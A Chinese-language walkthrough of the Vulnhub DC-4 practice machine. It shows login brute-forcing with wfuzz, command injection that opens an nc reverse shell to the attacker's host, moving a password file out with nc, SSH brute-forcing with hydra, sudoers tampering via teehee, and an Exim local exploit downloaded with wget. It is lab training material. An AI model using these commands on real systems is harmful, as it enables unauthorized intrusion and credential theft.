Vulnhub[DC4]
简介
下载
- DC-4.zip (Size: 617 MB)
- Download: http://www.five86.com/downloads/DC-4.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-4.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-4.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.151是DC-4的ip
端口扫描
nmap -sC -sV -p- 192.168.0.151
发现这里只是开了22、80端口
看下80端口,是一个登陆界面
登录页面,尝试弱口令登录
这里可以用Wfuzz来进行爆破
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d : 请求体设置
wfuzz -c -t 20 -w /root/Desktop/fuzz/username.txt -w /root/Desktop/fuzz/password.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.0.151/login.php
发现弱密码是可以爆破出来的
得到账号和密码
admin - happy
渗透
登陆
然后试一下
发现这类似于命令执行
burp抓包
可以发现这里直接就是传了一个ls -l
的目录查看命令,中间的空格被换成了+
那这里我们直接传一个直接反弹shell
首先kali开启监听
将数据包发送到Repeater模块,然后改成nc+-e+/bin/bash+192.168.0.129+4444
再发送
连接成功
用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
查看下passwd看看有什么用户适合提权
发现charles、jim、sam这个三个用户
去它们的home目录看下有没有什么收获
charles:
没有啥发现
jim:
backups——备份
好东西
找到一个old-passwords.txt的备份
将这些密码复制下来并对jim进行ssh爆破,因为在信息收集的阶段我们看到靶机是打开了22端口
可以用nc进行文件传输
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.0.129 5555 < /home/jim/backups/old-passwords.bak
然后用hydra对jim账号进行SSH爆破
hydra -l jim -P old-passwords.txt ssh://192.168.0.151
[22][ssh] host: 192.168.0.151 login: jim password: jibril04
登陆jim的ssh,查看有没有sudo权限
然后可以发现在登录SSH提示有邮件,查看下
这是一封Charles发送过来的邮件,里面是说他要放年假了,老板他把密码给jim
这下我们拿到了Charles的密码
^xHhA&hvim0y
ssh切换到Charles
查看Charles的sudo
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee直接给charles赋予完全的root权限
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
然后直接用sudo登录root用户
提权成功
非预期解
之前的方法应该就是这个靶机预设的预期解
但是在查看邮件的时候还有一个非预期解
这里可以了解到Exim的版本为4.89
这个版本有一个CVE-2019-10149可以使用
searchsploit Exim
searchsploit -p linux/local/46996.sh
开启python的HTTP服务
通过wget进行exp下载,赋予执行权限并执行